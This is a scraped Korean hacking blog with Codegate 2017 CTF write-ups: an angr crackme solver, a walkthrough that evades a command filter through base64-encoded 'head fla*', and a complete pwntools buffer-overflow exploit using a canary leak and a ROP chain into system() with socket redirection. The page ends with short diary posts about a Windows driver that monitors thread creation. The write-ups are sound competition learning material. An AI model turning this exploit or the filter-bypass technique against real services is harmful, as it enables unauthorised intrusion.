반응형

쉽다. angr로 코딩해서 돌려주면 되는데 양이 많다.


어쨋든 아래의 소스코드를 참조하면 된다.


#!/usr/bin/env python

import angr

for i in range(1, 102):
	p = angr.Project("./prob" + str(i))

	offset = 0
	with open("./prob" + str(i), "rb") as f:
		buf = f.read()
		offset = buf.index("\x83\xF8\x01\x75\x0C") + 5
	print hex(offset)

	arg1 = angr.claripy.BVS("arg1", 8*8*90) # 90 bytes
	st = p.factory.entry_state(args=["./prob" + str(i), arg1])
	pt = p.factory.path(st)
	ex = p.surveyors.Explorer(start=pt, find=0x400000 + offset)
	ex.run()
	print ex.found[0].state.se.any_str(arg1)


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

IDA로 까보면 아래와 같이 3개의 stage로 나뉘어 져있다.




먼저 Stage1을 까보면 아래와 같이 되있다.




Base64의 Collision을 일으키면 통과된다.


간단하니 구글 검색만 해도 나온다





Stage2는 길이가 달라지면 통과가 된단다.


Base64는 =로 Padding을 하니까 =를 넣어주면 통과된다.,





마지막으로 Stage3인데 필터링을 우회하면 된다.


preg_comp함수로 cat 이나 flag나 말고도 다른걸 막아뒀는데 head나 tail을 안막아놨으니


head fla* 를 base64로 인코딩해서 넣어주면 클리어가 되겠다.

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

babypwn



전형적인 bof 문제다 ROP 사용하면 해서 system 실행시키고


소켓으로 fd redirect 시켜서 플래그 확인해면 됌


아래는 Exploit.py



from pwn import *

con = remote("192.168.0.14", 9191) # local
#con = remote("110.10.212.130", 8888) # codegate

def dummy():
	con.recvn(276)

def canary_leak():
	print "[*] Canary Leak"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.send("1\x00")
	con.recvuntil("Input Your Message : ")
	con.sendline("A"*40)
	con.recvn(40)
	canary = con.recvn(4)[::-1]
	print "canary : " + hex(int(canary.encode("hex"), 16))
	return int(canary.encode("hex"), 16)

def ROP():
	canary = canary_leak()
	print "[*] ROP Stage"

	worker = 0x08048A71
	pop3ret = 0x8048eec
	system_plt = 0x8048620
	recv_plt = 0x80486e0
	bss = 0x804b1b4

	gadget = "/bin/ls 0>&4 1>&4\x00"

	print "[*] Pre-Payload Send"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += p32(canary)
	payload += "B" * 12
	
	payload += p32(recv_plt)
	payload += p32(pop3ret)
	payload += p32(0x04) # socket
	payload += p32(bss)
	payload += p32(len(gadget))
	payload += p32(0x00)
	payload += p32(system_plt)
	payload += p32(0x41414141)
	payload += p32(bss)

	con.sendline(payload)

	print "[*] Canary Null Inject"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += "\x00"

	con.send(payload)

	print "[*] Triggering"
	con.recvuntil("3. Exit\n")
	print con.recvuntil("===============================\n")
	con.sendline("3") # triggering

	con.sendline(gadget)

	con.interactive()

ROP()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

드디어 기본적인 틀은 다짰다.


이걸 어떻게 x64로 적용할지가 문제긴 한데 일단 x86을 먼저 시도해놨으니까 괜찮지 않을까 싶다.


ZwCreateThreadEx함수에서 ProcessHandle이 -1 이거나 커널영역의 핸들일 경우는 그냥 보내주고


아닐 때만 판별해낸다.


아래는 결과적으로 만든 드라이버 소스다.





블로그 이미지

KuroNeko_

KuroNeko

,
반응형

어제 말했던 건 한 90정도는 된거 같은데 문제가 있다,


커널 함수을 모르니까 내가 원하는 방식으로 되질않는다.


분명 HANDLE 가지고 PID를 구하거나 반대도 될 텐데.. 어떻게 해야할지 구글링해도 자세히 안나와 있고


DbgPrint만 더럽게 사용하고 있다.


일단 내일도 한번 삽질 계속 해봐야지


공부 중인 링크


http://driverentry.tistory.com/entry/%ED%8E%8C-HANDLE%EC%97%90-%EB%8C%80%ED%95%9C-%ED%83%90%EA%B5%AC-%EC%B2%AB%EB%B2%88%EC%A7%B8-%EC%8B%9C%EA%B0%84

블로그 이미지

KuroNeko_

KuroNeko

,